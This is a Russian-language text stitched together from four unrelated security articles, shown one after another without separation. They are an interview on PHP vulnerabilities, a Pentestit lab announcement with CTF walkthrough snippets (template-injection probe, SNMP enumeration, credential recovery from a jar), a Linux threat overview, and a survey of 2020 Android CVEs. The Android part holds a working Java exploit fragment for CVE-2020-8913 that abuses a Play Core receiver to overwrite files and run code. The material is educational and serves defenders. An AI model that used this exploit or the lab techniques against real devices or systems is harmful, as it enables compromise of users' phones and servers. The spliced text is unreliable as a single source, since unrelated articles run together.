Какие уязвимости можно найти в типичном PHP-проекте? Удивительно, но любые от слабых мест и уязвимостей в коде никто не застрахован. Чем быстрее мы их найдем, тем меньше риск для компании. Но чем лучше будем понимать, как можно атаковать наше приложение и как взаимодействуют друг с другом наши фичи, тем легче будет защитить код еще на уровне разработки. Тем более, что в PHP есть свои специфичные уязвимости те же type juggling, insecure deserialization и local file include.

Чтобы повысить уровень безопасности кода, полезно думать как хакер и тестировщик одновременно, проверяя все возможные лазейки в коде. Сканеры уязвимостей, SSL-сертификаты, аудиты и прочие многочисленные инструменты защиты будут хорошим дополнением. О том, как всё это совместить, Антон Прохоров рассказал в нашем интервью. На конференции PHP Russia 2021 Антон представит в докладе уязвимости PHP-приложений и способы их эксплуатации.

Антон, как ты вообще попал в такую интересную сферу, как безопасность?

Еще в МИФИ на факультете информационной безопасности я увлекся практическими кейсами, а на старших курсах мы с однокурсниками стали бывать на профильных конференциях (Positive Hack Days, ZeroNights). А потом увидели финал соревнований CTF по практической информационной безопасности, заинтересовались и тоже создали команду для участия.

Как ты встретился с PHP? И чем занимаешься сейчас?

С PHP была связана моя первая работа я разрабатывал модули для сайта на Drupal. Но безопасность не завязана на один язык программирования, поэтому и на соревнованиях они были совершенно разные так что я никогда не был привязан ни к PHP, ни к другому конкретному языку. Участие в соревнованиях в итоге так меня увлекло, что я захотел работать в кибербезопасности и так пришел в BI.ZONE.

Что именно ты делаешь в BI.ZONE? Как участвуешь в анализе?

BI.ZONE предлагает много разных услуг: анализ защищенности приложений, инфраструктуры, реагирование на инциденты безопасности, и еще множество всего. Я занимаюсь поиском уязвимостей в приложениях заказчиков, а также участвую в тестированиях на проникновение. В случае с приложениями, нам предоставляют доступ, исходный код, какие-то тестовые стенды, учетные записи. Мы всё это смотрим, стараясь обеспечить полное покрытие всех функций, и в конце выдаем отчет: какие уязвимости нашли, и как можно их исправить. При тестировании на проникновение заказчик дает нам большой список внешних ресурсов компании, мы анализируем их, пытаемся найти уязвимости и с помощью них проникнуть во внутреннюю сеть компании. В таких проектах мы не стараемся полностью все проверить, а ищем самые уязвимые сервисы и используем баги в них.

И ты, помимо PHP, для каждого нового проекта изучаешь новый язык?

Приходится. Конечно, не на том уровне, на котором его знают разработчики, но какие-то базовые штуки надо знать, чтобы просто понимать где что находится в коде. То есть, когда я вижу HTTP-запрос на сайте, я должен примерно представлять, где найти код, который обрабатывает этот запрос. Такие вещи нужно знать, как и какие-то уязвимые конструкции в каждом языке. Приходится, конечно, достаточно часто менять стек сегодня ты с PHP разбираешься, завтра с .NET, послезавтра с Java, и т.д.

Насколько больше или меньше уязвимостей у PHP по сравнению с другими языками? Какие они?

Если говорить про интерпретатор языка и стандартные библиотеки, то так как они написаны на C, то в их коде часто обнаруживаются баги, связанные с управлением памятью и различными переполнениями, которые иногда могут приводить к уязвимостям. Больше их или меньше чем в интерпретаторах других языков я не возьмусь сравнивать. Из примеров можно вспомнить уязвимость PHP-FPM и unserialize. Но это довольно редкие и специфичные случаи.

Что касается приложений, написанных на PHP, то тут, наверное, ответ простой. Если пишешь безопасно, то будет безопасно. Если программист в курсе обо всех нюансах языка, что-то читал о безопасной разработке и знает, какие уязвимости есть в PHP (и как их избежать) его код, скорее всего, будет безопасным. Но это не зависит от конкретного языка. Просто в PHP исторически так сложилось, что нюансов много, и о них стоит знать.

Например?

Например, до 8 версии PHP, если при обращении к любому файлу использовать схему "phar://", интерпретатор будет воспринимать содержимое файла как Phar-архив: попытается найти в нем метаданные и десериализовать их. Если ваше приложение принимает от пользователей путь до файла и не проверяет схему, то это может в некоторых случаях привести к возможности исполнения произвольного кода на вашем сервере. Про такие нюансы я и хочу рассказать на конференции, показав примеры.

Если в PHP таких нюансов много, можно ли сказать, что он в целом более уязвим, чем другие языки?

Возможно, из-за того, что PHP в целом популярный язык, создается впечатление, что в приложениях, написанных на нем, уязвимостей больше. Но это, отчасти, обусловлено статистически: по различным данным около 50% сайтов из топ миллион используют PHP, никакой другой язык по этим показателям с ним не сравнится.

Также PHP имеет более низкий порог вхождения: не нужен никакой фреймворк, достаточно создать PHP файл и вот уже можно обрабатывать запросы и запрашивать данные из базы. Это привлекает большое количество разработчиков, многие из которых, не обладая достаточными знаниями в области безопасности, могут написать уязвимый код. В целом, из-за всего этого, наверное, и кажется, что уязвимостей в приложениях на PHP больше.

По твоему опыту, насколько PHP-разработчики заботятся о безопасности?

Я читаю, по большей части, только тот код, который нам предоставляют заказчики. И они уже, в основном, что-то знают о безопасности, раз хотят, чтобы их проверили. Но в целом мне кажется, что тенденция на более безопасный код. Если раньше еще можно было найти простейшую SQL-инъекцию, то сейчас это уже гораздо реже происходит, обычно обнаруживаются более сложные баги и цепочки уязвимостей.

Пример цепочки можешь привести?

Например, приложение позволяет делать скриншоты веб-страниц: мы отправляем адрес страницы и в результате получаем картинку. Но при этом на сервере проверяется, что переданный нами адрес имеет домен example.com. А теперь, предположим, что мы нашли на сайте example.com уязвимость Open Redirect, позволяющую сформировать ссылку с доменом example.com, которая при открытии будет перенаправляться на произвольный адрес, например, localhost. И вот у нас уже есть возможность делать скриншоты страниц с localhost.

Что-то еще может помочь коду быть безопасным, кроме самообразования программистов?

Здесь, наверное, ничего нового не скажу. Нужно, чтобы заказчики и разработчики заботились о безопасности еще на этапе проектирования приложения, чтобы тестирование безопасности было включено в жизненный цикл разработки ПО. Проверки безопасности нужно внедрять в процесс разработки новых фич, чтобы не было так, что разработали все приложение, а после этого провели только аудит. Безопасность это все-таки процесс. Поэтому тестирование нужно проводить чаще и как можно раньше.

То есть и после того, как сдали проект, нужно время от времени проводить тестирование?

Да, можно добавить одну фичу и проверить ее уязвимостей нет. Добавить другую, и там их нет. Но, возможно, комбинация этих фич может привнести какую-то уязвимость. Проверки там, где это возможно нужно автоматизировать, добавлять в CI/CD сканеры уязвимостей и т.п. И конечно, обучать разработчиков, рассказывать, как писать безопасный код. Все это в совокупности, я думаю, приведет к тому, что приложение будет безопаснее. Но это не я придумал, это известная вещь Security Software Development Lifecycle.

Можно ли полностью автоматизировать проверки по безопасности?

Какие-то вещи да, но не полностью и не всё. Мы, конечно, используем сканеры кода и подобные утилиты, но они несовершенны. Во-первых, у них очень много ложных срабатываний, как false positive, так и false negative то есть они могут и найти то, что не является уязвимостью, и не найти какую-то уязвимость. Поэтому мы всегда проверяем его результаты насколько это вообще уязвимость, и если уязвимость, то можно ли ее эксплуатировать.

А во-вторых, некоторые категории уязвимостей сканеры вообще не находят, и пока нет даже предпосылок, что это когда-нибудь произойдет. Это уязвимости, связанные с конкретной бизнес-логикой приложения. Например, в интернет-магазине есть процесс пользователь кладет в корзину товар и оплачивает его. Только здесь может быть уже множество уязвимостей, которые не являются типовыми, вроде SQL-инъекций или XSS-атак. Это может быть, например, связано с передачей отрицательной суммы или неправильной обработкой скидок и т.п. Такое сканер пока что не может обнаружить, потому что здесь нужно знать контекст: что это за приложение и какие там могут быть угрозы. Таких вариантов может быть много и в других процессах так что нам всегда найдется, что делать.

То есть когда ты читаешь код, то проверяешь также все возможные варианты развития по какому-то процессу?

Во-первых, я пользуюсь уже готовыми методологиями, вроде OWASP. Во-вторых, какие-то типовые атаки я уже знаю из опыта. Плюс я интересуюсь тем, что другие находят так складывается мой справочник Что еще можно проверить? Да и в общем, да я пытаюсь думать как злоумышленник.

Если мы нашли уязвимость и хотим сообщить об этом, как заказчику наладить работу с такими сторонними исследователями безопасности?

В первую очередь, нужно на видное место на сайте добавить контакты или форму для связи: чтобы человек мог обратиться по поводу уязвимости, и чтобы это можно было легко найти. Чтобы не приходилось писать на какой-нибудь ящик компании support@ или sales@ и пытаться связаться с разработчиками или безопасниками это бывает и сложно, и долго.

А второе, если уже компания довольно большая и действительно думает о том, как сделать так, чтобы её продукты постоянно тестировали можно использовать Bug Bounty платформы, те же Hackerone и Bugcrowd. Суть в том, что компания договаривается с платформой, оговаривает скоуп ресурсов, которые будут исследоваться, принимаемые уязвимости и вознаграждение за них. В Bug Bounty участвуют уже много российских компаний Киви, Майл.ру, Яндекс. Можно посмотреть на их примере.

Что не стоит делать в таких случаях при работе со сторонними исследователями?

Я думаю, если вам написали, что у вас уязвимость, не стоит игнорировать такое сообщение. Лучше разобраться в проблеме и ответить.

А правда ли, по твоему опыту, что простые уязвимости самые страшные, а сложные никому особо не нужны?

Думаю, это не так, потому что обычно уязвимости оцениваются по тому, что с их помощью можно сделать. Например, с помощью уязвимости мы можем прочитать данные любого пользователя или получить исполнение команд на сервере и т.п. Чем больше потенциальный ущерб, который может принести эксплуатация уязвимости, тем она и ценнее, за нее больше заплатят на Bug Bounty. А уж сложная она или простая это другое дело. Но, конечно, если она простая, то, возможно, больше людей ее могут найти. И она этим страшнее. Может быть, пока ее обрабатывали на платформе Bug Bounty, уже кто-то из злоумышленников научился ее эксплуатировать. Но в целом, я думаю, что важен именно ущерб от уязвимости, а не простота или сложность.

То есть если большой ущерб ожидается от сложной уязвимости, ее все равно могут использовать?

Да, конечно. Из последнего здесь можно привести в пример довольно сложную цепочку уязвимостей в Microsoft Exchange под названием Proxylogon, которая, как известно, эксплуатировалась злоумышленниками.

А много ли тех, кто может самостоятельно найти новую уязвимость без использования готовых наборов или сканеров?

Если имеется в виду новая уязвимость как класс, то, наверное, единицы. Мы обычно изучаем уже известные классы уязвимостей и применяем эти знания для анализа приложений заказчика. Если же под новой уязвимостью подразумевается просто уязвимость в каком-либо приложении, которую еще не находили, то в целом это как раз то, чем занимаются люди моей профессии.

Какие уязвимости, найденные за твою практику, запомнились тебе больше всего?

Наверное, здесь стоит упомянуть уязвимость, из-за которой я попал на PHP Russia. Я нашел цепочку гаджетов для десериализации в PHP, которая позволяет исполнять код, используя только классы фреймворка Yii2. Это в общем-то проблема не самого фреймворка, а приложения, которое его использует. Но если программисты в приложении десериализуют пользовательские данные, то используя только классы фреймворка, можно получить исполнение команд на их сервере.

Хоть это и не сильно относится к самому фреймворку, я все равно написал разработчикам. Меня порадовало, что откликнулись и исправили. Я как раз общался с Александром Макаровым, как одним из разработчиков фреймворка, и после того общения он пригласил меня выступить на конференции.

На конференции ты собираешься рассказывать как раз о безопасности в коде. Можешь рассказать об этом подробней?

Я расскажу о нюансах PHP, которые стоит учитывать, если мы хотим писать безопасный код. Это специфичные уязвимости конкретно для PHP, не для других языков. Например, в PHP нестрогая типизация, поэтому строки приводятся к числам, числа к строкам, и т.п. Это может вести к разным интересным уязвимостям при сравнении, так как иногда приведение типов происходит не самым очевидным образом. Расскажу и про другие классы уязвимостей, которые есть в PHP. Покажу на примере, как это эксплуатировать, чтобы разработчики знали, что такая конструкция уязвима, и не стоит так писать.

А сам ты впервые выступаешь на конференциях, иди у тебя уже есть опыт? Тебе нравится?

Я выступал, но не очень много. Это довольно волнительно для меня. Но зато приходится более глубоко разбираться в теме, чтобы быть готовым к разным вопросам. Получается, что когда готовишься к выступлению, сам много всего нового узнаешь.

И сам доклад получается по-настоящему классный.

Надеюсь, это будет полезно тем, кто прослушает доклад.

PHP Russia 2021 пройдёт в гибридном формате будет и офлайн, и онлайн. Онлайн-зрители смогут задавать вопросы спикерам в зале, принимать участие в дискуссиях и участвовать в активностях на стендах партнёров.

Мы с нетерпением ждём нашу встречу в офлайне 28 июня 2021 года. До 30 апреля стоимость очного участия составит 27 000 рублей

Подписывайтесь на наши соцсети, чтобы быть в курсе новостей (FB,VK,Telegram-канал,Twitter), общайтесь с коллегами в чате.

15 марта 2021 года Pentestit запускает лабораторию Test lab 15, где IT - специалисты смогут бесплатно оценить свои силы в поисках уязвимостей корпоративной сети и веб-приложениях компании.

Что такое Test lab

Лаборатории Test lab это полигон для киберучений, где участники получают опыт анализа защищённости информационных систем. Каждая такая лаборатория имеет целостную инфраструктуру, историю и множество скрытых уязвимостей, которые необходимо обнаружить, локализовать и проэксплуатировать, а в итоге - составить полноценный сценарий для компрометации сети компании. Важной особенностью Test lab является максимальная реалистичность. Участники, выступающие в роли атакующих, по мере прохождения, получают доступ к отдельным узлам лаборатории, каждый из которых содержит токен. Победителем считается тот, кто первым соберет все токены и получит полный контроль над виртуальной корпоративной сетью. Любой желающий может попробовать свои силы и проверить имеющиеся навыки в области информационной безопасности. Лаборатории всегда уникальны и содержат наиболее актуальные уязвимости.

Что необходимо для проверки своих сил и возможностей:

1. Зарегистрироваться в личном кабинете на сайте lab.pentestit.ru, где будет доступна информация для подключения к лаборатории (логин/пароль).

2. Подключиться к лаборатории через OpenVPN.

3. Установить соединение и получить доступ к шлюзам, за которыми располагается сеть тестовой компании.

4. Начать развивать атаку.

В чем заключается суть прохождения заданий

Основной смысл лаборатории - получение и закрепление навыков поиска и эксплуатации уязвимостей как в ручном режиме, так и с использованием специального инструментария, такого как: Nmap, Tplmap, Dirbuster, Wapiti, BurpSuite/OWASP Zap, Metasploit Framework, Patator/Hydra, Enum4linux, Whatweb, а также инструментов для реверс-инжиниринга, анализа сетевых протоколов и т.д.

Получая токены, вы сможете глубже проникнуть в тестовую корпоративную сеть, где будет доступно все больше серверов для атаки. В ходе работы вы ознакомитесь с популярными технологиями, это позволит взглянуть на ИБ со стороны злоумышленника. Стоит помнить и про главный ваш инструмент - логическое мышление и находчивость.

Вся информация представлена в ознакомительных целях, не нарушайте законодательство.

Для наглядного примера предлагаем разобрать несколько задач прошедших лабораторий.

Wiki

На странице сайта имеется строка поиска, куда вводим текст и убеждаемся, что он отображается на странице:

Предположив, что используется шаблонизатор, вводим данные для его определения:

{{7*7}}

На странице отобразился введённый текст без изменений, следовательно, это не Jinga и не Twig. Для экономии времени воспользуемся инструментом Tplmap, который не смог выяснить, какой плагин используется:

С помощью WhatWeb узнали, что сайт написан на Ruby-on-Rails:

Пробуем воспользоваться пейлоадом для популярного на Ruby-on-Rails шаблонизатором Haml:

На странице отобразилось 49, следовательно, плагин найден верно. Затем составляем запрос, позволяющий получить токен:

Router

Произведя разведку в виде сканирования TCP-портов, результатов не получили. Пробуем сканировать UDP. Нашли открытый SNMP порт (161 UDP). И при помощи инструмента Onesixtyone имеем community-строки:

Когда есть необходимые данные, при помощи инструмента Snmpwalk пробуем получить информацию о сервере:

Проанализировав вывод команды, замечаем странное имя системы, вероятно, это токен.

Java

Открываем jar-файл как архив и видим, что он состоит из одного класса Main. Заходим в Main.class в IDE:

Изучив декомпилированный код, обнаруживаем информацию для подключения к SSH и вывод результата выполнения команды:

df -h | grep /dev/sda1

При этом обращаем внимание, что пароль видоизменяется. Добавляем несколько строчек в класс, чтобы вывести IP-адрес сервера, логин и пароль, с которыми происходит подключение:

Компилируем изменённый класс и подменяем им оригинальный класс в jar-файле. Запускаем файл:

Выведенный на экран пароль является токеном.

Статистика по Test lab

Уже более 33.000 пользователей со всего мира зарегистрировано на сайте лабораторий. При этом, всего 664 участника выполнили первое задание из предыдущей лаборатории. В то же время, только 69 из них смогли скомпрометировать ИТ-структуру виртуальной компании полностью.

О нас

Помимо создания уникальных лабораторий, мы являемся разработчиками Nemesida WAF (комплексная защита сайтов, интернет-магазинов, личных кабинетов, порталов, маркетплейсов, API и других веб-приложений от хакерских атак на основе машинного обучения Nemesida AI), а также предоставляем услуги анализа на наличие недостатков (уязвимостей) корпоративных сетей и веб-приложений крупнейшим компаниям из России, США, Великобритании, Чехии, Украины, Молдавии, Азербайджана, Казахстана, Канады; проводим подготовку сотрудников крупных компаний в области информационной безопасности . Если вы хотите более детально разобраться, как все это работает предлагаем пройти обучение по программам Zero Security: A (базовая подготовка) или Корпоративные лаборатории Pentestit (расширенная подготовка).

Заключение

В процессе работы в лаборатории Test lab участники изучат природу уязвимостей, основные инструменты эксплуатации, способы противодействия и психологию злоумышленника. Понимая, как выстраивать реальные векторы атаки, вы научитесь эффективно противостоять им. До встречи в новой Test lab 15!

Cреди обычных пользователей и даже ИТ-сотрудников распространено убеждение в повышенной безопасности ОС семейства Linux по сравнению с дырявой виндой и попсовой макосью. Однако, как показало наше исследование, открытость исходников не избавляет Linux от ошибок и уязвимостей, которые несут риски, связанные с безопасностью. В этом посте мы рассмотрим, почему Linux стал привлекательной мишенью для злоумышленников, а также обсудим основные угрозы и риски, связанные с этой операционной системой.

По данным Linux Foundation, ещё в 2017 году под управлением Linux работали 90% клиентских ресурсов у всех облачных провайдеров, причём в девяти из десяти случаев и сам облачный провайдер использовал в качестве основной ОС именно Linux. Но облаками дело не ограничивается: 82% всех выпущенных в мире смартфонов также используют Linux, а среди суперкомпьютеров доля Linux составляет 99%.

По мере того, как предприятия и организации переносят данные в облака, где царит Linux, вектор интереса злоумышленников смещается на слабые места этого семейства операционных систем: уязвимости, неправильные настройки и пробелы в безопасности, а также вредоносное ПО.

Уязвимости

Одним из самых распространённых методов проникновения в систему использование уязвимостей. Отсутствие процедур управления и отслеживания уязвимостей, не говоря уже об отсутствии выстроенных процессов установки исправлений, может привести к тому, что системы окажутся беззащитными после обнаружения очередной уязвимости и публикации эксплойта для неё. Часто эксплойт публикуют уже через несколько часов после её обнаружения. Для Linux эта проблема более критична, поскольку открытый исходный код позволяет быстро найти проблемную функцию и написать код для эксплуатации ошибки.

Важно отметить, что значительное количество уязвимостей в сервисе или платформе не обязательно означает, что эти уязвимости обязательно несут существенный риск.

Каждый производитель дистрибутива Linux выполняет свою процедуру обработки уязвимостей. В то время как исправления от вендоров приходят в разное время, заплатки upstream, будь то оригинальный пакет или исходный код утилиты, появляются первыми. Вендоры Linux отвечают за исправление уязвимостей в таких компонентах, как ядро, утилиты и пакеты. В 2019 году Red Hat исправил более 1000 CVE в своём дистрибутиве Red Hat Enterprise Linux (RHEL), согласно их отчёту Product Security Risk Report. Это более 70% от общего числа уязвимостей, исправленных во всех продуктах.

Уязвимости приложений, работающих под управлением Linux, были причиной нескольких серьёзных инцидентов. Например, нашумевшая утечка данных в Equifax произошла в результате эксплуатации уязвимости CVE-2017-5638 в Apache Struts. Тогда хакеры проникли в корпоративную сеть бюро кредитных историй Equifax 13мая 2017года, но подозрительную активность служба безопасности заметила только в конце июля. Киберпреступники провели внутри сети 76дней, успев за это время скачать из 51базы данных личную информацию 148млн американцев это 56% взрослого населения США. Помимо американских граждан в утечку попали сведения 15млн клиентов Equifax в Великобритании и около 20тыс. граждан Канады. Общие расходы Equifax в результате этого инцидента за два следующих года составили более 1,35млрд долларов США и включают расходы на укрепление систем безопасности, поддержку клиентов, оплату юридических услуг, а также выплаты по судебным искам.

Уязвимости публичных приложений входят в состав фреймворка MITRE ATT&CK (IDT1190), а также перечислены в топ-10 уязвимостей OWASP и являются наиболее популярными векторами проникновения в Linux-системы.

Ошибки конфигурации

Небезопасные настройки довольно распространены и всегда были критическим вопросом в области безопасности. Первая версия OWASP Top 10 Web Risks от 2004года, включала в себя Небезопасное управление конфигурацией (Insecure Configuration Management); в версии списка 2017года название изменилось на Ошибочные настройки безопасности (Security Misconfiguration).

Когда предприятия стали массово переходить на облачные технологии для обеспечения операционной и экономической устойчивости во время пандемии COVID-19, неправильная конфигурация стала ещё более серьёзной проблемой: по мере переезда предприятий и организаций в новые экосистемы они непреднамеренно вносили ошибки в конфигурации облачной инфраструктуры, контейнеров и бессерверных сред.

Ниже перечислены наиболее распространённые проблемы безопасности в конфигурации Linux.

Слабые пароли в Linux как массовое явление

Использование паролей по умолчанию или слабых паролей до сих пор удивительно распространено, причём даже самые популярные дистрибутивы не отличаются в лучшую сторону.

Например, в дистрибутивах Debian/Ubuntu время жизни пароля по умолчанию составляет 99999дней, а если требуется принудительно задать сложность пароля, придётся устанавливать пакет libpam-pwquality или его аналог.

Известный пример злоупотребления из-за отсутствия аутентификации произошёл в Tesla, когда злоумышленники получили доступ панели управления административной консоли, смогли взломать работающую подсистему Kubernetes и получить AWS-удостоверения Tesla для запуска майнера криптовалюты.

В ноябре 2020 года ФБР выпустило предупреждение о том, что злоумышленники злоупотребляют неправильно настроенными экземплярами SonarQube, который обнаруживает ошибки и уязвимости в безопасности исходного кода. Из-за того, что некоторые организации не поменяли настройки систем по умолчанию, они были доступны через порт 9000 с использованием учётных данных admin/admin.

Такая же проблема массово присутствует среди работающих под управлением Linux IoT-устройств, производители которых часто не утруждают себя безопасными настройками паролей. Многие IP-камеры и роутеры также поставляются без паролей или с паролями по умолчанию, которые можно легко найти в общедоступной базе паролей по умолчанию (Default Passwords Database). Причём в некоторых случаях пароли жёстко прошиты и не могут быть изменены.

Уязвимые службы в интернете

Развитие специализированных поисковых систем привело к тому, что уязвимый открытый порт в интернете можно расценивать как приглашение к атаке. Например, используя специализированную поисковую систему Shodan, мы обнаружили более 8тыс. уязвимых экземпляров Redis, размещённых в публичном облаке без TLS-шифрования и даже без пароля. Позже оказалось, что все они уже использовались кем-то для майнинга криптовалюты.

Открытые файловые ресурсы на Linux-серверах

Публично доступные FTP-, SMB- и NFS-ресурсы, разрешённый листинг каталогов на веб-серверах под управлением Linux, открытые облачные службы хранения данных Amazon S3 и Azure Blobсоздают потенциальный риск несанкционированного доступа. С помощью Shodan мы обнаружили более 3млн уязвимых публичных FTP-серверов.

Вредоносное ПО

Под Linux существуют многие разновидности вредоносных программ: вымогатели, криптомайнеры, руткиты, черви, бэкдоры и трояны удалённого доступа (RAT). Преступники успешно используют их для получения финансовой выгоды, шпионажа, саботажа, хактивизма или просто из желания доказать, что системы могут быть скомпрометированы.

Ниже перечислены наиболее распространённые типы вредоносных программ в экосистеме Linux.

Вымогатели

Это, безусловно, самая финансово успешная категория вредоносных программ за последнее время. Учитывая растущую популярность Linux, злоумышленники, управляющие вымогателями, считают эту операционную систему очень перспективной мишенью.

В качестве примера Linux-вымогателей можно привести RansomEXX/Defray7777, относительно недавно портированный под эту операционную систему. Его применяла кибергруппировка Gold Dupont, атакующая организации из сфер здравоохранения и образование и технологические отрасли.

Другой вымогатель Erebus, впервые замеченный в сентябре 2016 года, в июне 2017года Erebus заразил 153Linux-сервера южнокорейской хостинговой компании NAYANA и вывел из строя 3400 клиентских сайтов.

Криптомайнеры

Относительно новым мотивом для злоумышленников является проникновение и злоупотребление вычислительными ресурсами для добычи криптовалюты.

Многие вредоносные криптомайнеры не просто заражают Linux-системы, но и очищают их от присутствия майнеров-конкурентов, а также стремятся захватить как можно более мощные системы с практически неограниченными вычислительными возможностями, такие как контейнеры Docker или Redis.

Для проникновения в систему майнеры используют распространённые уязвимости. Например, программа coinminer, детектируемая компанией Trend Micro под названием Coinminer.Linux.MALXMR.SMDSL64, использует уязвимости обхода авторизации SaltStack (CVE-2020-11651) и обхода каталога SaltStack (CVE-2020-11652).

Вредоносные скрипты

Командные интерпретаторы присутствуют на всех UNIX-машинах, поэтому злоумышленники активно используют его, тем более что это значительно проще, чем использовать скомпилированные вредоносные программы.

Причин популярности вредоносных скриптов для атак на Linux:

• они легко загружаются в виде текстовых файлов;

• они имеют небольшой размер;

• меньше вероятность того, что они будут легко обнаружены;

• они могут быть созданы на лету.

Веб-шеллы и бэкдоры

Веб-шелл установленный на веб-сервере скрипт, который выполняет команды преступника и обеспечивает ему прямой доступ к взломанной системе. Например, в августе 2020 года мы столкнулись с Ensiko, веб-оболочкой PHP, нацеленной на Linux, Windows, macOS или любую другую платформу, на которой установлен PHP. Помимо удалённого выполнения кода с помощью Ensiko злоумышленники могут выполнять команды оболочки и повреждать веб-сайты.

Руткиты

Руткит набор вредоносных программ, которые внедряются в Linux-систему, частично или полностью подменяя стандартные системные утилиты, драйверы и библиотеки. Основная цель руткита скрывать своё присутствие от администраторов и пользователей скомпрометированной системы, обеспечивая злоумышленнику полный или частичный контроль.

В ходе наших исследований мы сталкивались с несколькими семействами руткитов. Чаще всего это были Umbreon, Drovorub или Diamorphine.

Рекомендации

Предприятия продолжают внедрять Linux, причём использование этой ОС не ограничивается серверными задачами. Крупные предприятия активно устанавливают свободную ОС на десктопы пользователей. Очевидно, что когда киберпреступники заметят эту тенденцию, они будут всё чаще нацеливаться на среду Linux с целью получения финансовой выгоды.

Вот несколько рекомендаций по обеспечению безопасности систем Linux:

• внедрите в качестве обязательного принцип Инфраструктура как код (Infrastructure as Code, IaC), который гарантирует что системы создаются должным образом, а их конфигурации соответствуют решаемым задачам;

• используйте принцип наименьших привилегий и модель совместной ответственности;

• контролируйте целостность операционной системы, чтобы подозрительные изменения не могли произойти незаметно;

• отслеживайте сетевой периметр, проводите мониторинг всех устройств, систем и сетей;

• замените пароли по умолчанию на сильные и безопасные, по возможности всегда включайте многофакторную аутентификацию;

• регулярно устанавливайте обновления и исправления ошибок.

Привет, Хабр. Делимся с вами полезной статьей, автором которой является Александр Колесников.

Операционная система Android считается одной из самых защищенных операционных систем в наше время. Разработчики этой ОС на своем официальном сайте рассказывают, что в ОС сделано очень много работы для того чтобы создание традиционных эксплойтов было нерентабельно, сложно, невозможно. Возникает вопрос, а есть ли вообще уязвимости в ОС, которые могли бы привести к компрометации системы? Будут ли эти уязвимости отличаться от стандартных уязвимостей программного обеспечения? Можно ли найти эти уязвимости в CWE TOP 25? Или в Android уникальные уязвимости? Эта статья попытка собрать воедино несколько уязвимостей платформы Android в разных частях её архитектуры за 2020 год.

Архитектура ОС Android

Без описания хотя бы поверхностно работы этой ОС не обойтись, но постараемся сделать это максимально быстро. На картинке ниже представлена архитектура ОС Android.

Подробное её описание можно найти здесь. Нас же интересует всего 2 факта об архитектуре:

1. Каждый уровень архитектуры отделен друг от друга и выполняет функции на различных уровнях привилегий;

2. Все уровни Android впитали в себя самое лучшее, что было на момент создания ОС из других open source проектов с точки зрения безопасности.

Если объединить эти два факта, то получается, что для того чтобы атаковать эту операционную систему необходимо, чтобы у атакующего было в арсенале по 1 уязвимой функции на каждом из уровней ОС. Это достаточно серьезно усложняет процесс создания эксплойта для атаки на ОС. Однако, все равно ресечеры со всего мира находят способы как можно атаковать эту ОС и делают это достаточно успешно. Под эту деятельность даже есть отдельное мероприятие.

CVE-2020-0082

Уязвимость в операционной системе Android 10. Если обратиться к общей классификации уязвимостей CWE Top 25, то уязвимость можно отнести к классу CWE-502. Данный класс уязвимостей может возникать как в веб, так и в десктопных приложениях. Основной особенностью уязвимости считается тот факт, что при помощи нее можно абсолютно незаметно для ОС и пользователя внедрить свой код в уязвимое приложение. Возможно это за счет того, что объекты, которые подвергаются процедуре десериализации или сборке могут описывать функцию-сборщик, которая может выполнять производные функции. Уязвимость известна довольно давно и при неосторожном использовании функций десериализации может стать критической.

В ОС Android так и случилось. При успешном использовании уязвимости можно захватить контроль над привилегированным пользователем system_server.

diff --git a/core/java/android/os/ExternalVibration.java b/core/java/android/os/ExternalVibration.javaindex 37ca868..041d21f 100644--- a/core/java/android/os/ExternalVibration.java+++ b/core/java/android/os/ExternalVibration.java@@ -157,7 +157,6 @@         out.writeInt(mUid);         out.writeString(mPkg);         writeAudioAttributes(mAttrs, out, flags);-        out.writeParcelable(mAttrs, flags);         out.writeStrongBinder(mController.asBinder());         out.writeStrongBinder(mToken);     }

Эксплуатация уязвимости возможна через создание объекта Parsel для "android.accounts.IAccountAuthenticatorResponse".

CVE-2020-8913

Уязвимость в Android Play Сore библиотеке. Уязвимый receiver позволял перезаписывать файлы и запускать произвольный код в ОС. Запуск кода снова возможен за счет десериализации данных, которые передаются за счет объекта Parcel. Фрагмент эксплойта с использованием приложения Google Chrome:

//Приложение может быть любым, главное чтобы использовала уязвимый функционалpublic static final String APP = "com.android.chrome";protected void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);// Запускаем приложение    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);    startActivity(launchIntent);// Создаем новый Intent и указываем адрес его содержимого    new Handler().postDelayed(() -> {        Intent split = new Intent();        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));        split.putExtra("split_id", "../verified-splits/config.test");//Сохраняем временные данные]        Bundle bundle = new Bundle();        bundle.putInt("status", 3);        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));//Создаем новый Intent и отправляем сообщение для уязвимого receiver        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");        intent.setPackage(APP);        intent.putExtra("session_state", bundle);        sendBroadcast(intent);    }, 3000);//Вызов команд, которые будут выполнены после десериализации    new Handler().postDelayed(() -> {        startActivity(launchIntent.putExtra("x", new EvilParcelable()));    }, 5000);}

CVE-2020-8899

Уязвимость в библиотеке для разбора картинок. Нельзя 100% утверждать, что это уязвимость Android, но все же эта версия ОC очень популярна. Используется на телефонах Samsung.

Как известно, различные вендоры мобильных устройств очень часто создают собственные модификации ОС Android и благополучно забывают о них.

Уязвимость в данном случае заключается в том, что происходит повреждение памяти процесса и приложение, которое использует уязвимую функцию для работы с изображениями. Падение эксплуатабельно и можно выполнять любые операции от имени привилегированного пользователя ОС. Уязвимость относится к классу CWE-787.

CVE-2020-0022

Уязвимость в BlueTooth стеке ОС Android 8 и 9. Уязвимость позволяет обрушить ОС. Класс уязвимости CWE-787.

diff --git a/hci/src/packet_fragmenter.cc b/hci/src/packet_fragmenter.ccindex 5036ed5..143fc23 100644--- a/hci/src/packet_fragmenter.cc+++ b/hci/src/packet_fragmenter.cc@@ -221,7 +221,8 @@                  "%s got packet which would exceed expected length of %d. "                  "Truncating.",                  __func__, partial_packet->len);-        packet->len = partial_packet->len - partial_packet->offset;+        packet->len =+            (partial_packet->len - partial_packet->offset) + packet->offset;         projected_offset = partial_packet->len;       }

Некорректная обработка длины пакета. Для триггера уязвимости достаточно отправить фрагментированные широковещательные запросы длиной 300 и 33 байт.

Выводы

Похоже, что даже разделение привилегий, использование самых передовых технологий не спасает от самых распространенных ошибок программного обеспечения. ОС можно атаковать и классическими эксплойтами на повреждение памяти и более современными аналогами, которые используют механизмы ОС.

Совсем скоро у нас стартуют курсы по Android-разработке двух уровней. Узнать подробнее о курсах можно по ссылкам ниже.

- Android Developer. Basic
